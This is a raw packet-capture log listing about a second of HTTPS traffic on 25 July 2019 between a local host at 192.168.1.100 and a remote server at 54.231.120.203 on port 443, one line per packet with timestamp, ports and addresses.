Jul 25, 2019 13:47:09.942465067 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.010510921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.010572910 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.010597944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.010632992 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.010673046 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.010773897 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.011106014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.011137009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.011164904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.011193991 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.012378931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.012412071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.012528896 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.042711020 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.043428898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.043471098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.043503046 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.043587923 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.044508934 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.044548988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.044661045 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.044673920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.044707060 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.044884920 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.112994909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.113049984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.113079071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.113106012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.113137007 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.113169909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.113200903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.113271952 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.114808083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.114857912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.114886999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.114939928 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.145664930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.145714998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.145756006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.145766973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.146032095 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.146631002 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.146672964 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.146770954 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.147001028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.147034883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.147130013 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.216002941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.216062069 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.216101885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.216133118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.216159105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.216202021 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.216259003 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.217088938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.217128992 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.217155933 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.217258930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.217266083 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.248260021 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.248312950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.248341084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.248372078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.248413086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.248459101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.248567104 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.248967886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.249042988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.249087095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.249110937 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.249119043 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.250173092 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.318408966 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.318437099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.318453074 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.318466902 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.318480015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.318659067 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.319370985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.319504023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.319540024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.319556952 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.319680929 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.350578070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.350625992 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.350761890 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.350788116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.350816011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.350816011 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.350826025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.350950956 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.351394892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.351423025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.351692915 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.352385044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.352427006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.352550030 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.420887947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.420922995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.420943022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.420963049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.420981884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.421171904 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.421801090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.421844006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.421865940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.421886921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.421984911 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.452783108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.452936888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.452958107 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.453002930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.453037024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.453073025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.453119040 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.453761101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.453792095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.453902006 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.454634905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.454673052 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.454794884 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.523355961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.523396015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.523420095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.523511887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.523541927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.523550034 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.523830891 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.524426937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.524490118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.524519920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.524553061 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.524627924 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.555218935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555259943 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555274963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555291891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555309057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555382013 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.555820942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555840969 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555890083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.555921078 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.557086945 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.557121038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.557205915 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.625884056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.625935078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.625971079 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.625999928 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.626029015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.626058102 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.626100063 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.626476049 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.627089024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.627106905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.627171993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.627182961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.627299070 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.657497883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.657562971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.657601118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.657632113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.657665014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.657700062 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.658032894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.658076048 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.658214092 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.659507036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.659548044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.659579039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.659728050 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.728385925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.728425980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.728447914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.728467941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.728487968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.728513956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.728645086 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.729331017 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.729362965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.729383945 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.729403973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.729542971 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.765259981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.765310049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.765330076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.765388966 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.765425920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.765456915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.765479088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.765496969 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.765820980 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.831161022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831182003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831219912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831252098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831300974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831334114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831409931 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.831532001 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.831711054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831748009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831774950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831799030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.831856966 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.867938042 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.867997885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.868026972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.868046045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.868067980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.868083000 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.868123055 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.868133068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.868159056 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.868299961 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.933517933 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.933608055 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.933743000 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.934369087 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.934403896 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.934431076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.934457064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.934525967 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.934598923 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.970477104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.970531940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.970561028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.970588923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.970623016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.970652103 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:10.970700979 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:10.970927954 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.036051035 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036096096 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036123991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036149979 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036396980 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.036639929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036686897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036715984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036744118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.036849976 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.072774887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.072822094 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.072849989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.072879076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.072933912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.072972059 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.073019981 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.073163033 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.139056921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139096975 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139121056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139143944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139167070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139194012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139219999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139246941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139280081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139313936 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.139317989 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.140105963 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.175549984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.175616026 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.175640106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.175661087 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.175683022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.175709009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.175779104 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.175915003 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.241523027 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.241548061 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.241595030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.241750002 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.241770029 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.241806030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.241838932 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.241906881 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.242414951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.242472887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.242610931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.242655039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.242679119 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.242885113 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.277987003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.278068066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.278130054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.278187037 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.278242111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.278247118 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.278299093 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.278450966 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.344280958 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.344314098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.344337940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.344360113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.344388962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.344418049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.344486952 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.344553947 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.344990015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.345040083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.345066071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.345088959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.345352888 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.380584955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.380644083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.380685091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.380737066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.380776882 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.380798101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.380841970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.380884886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.380911112 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.380913019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.381726980 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.446687937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.446767092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.446798086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.446822882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.446847916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.446866035 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:11.446872950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:11.447505951 MESZ	50056	443	192.168.1.100	54.231.120.203
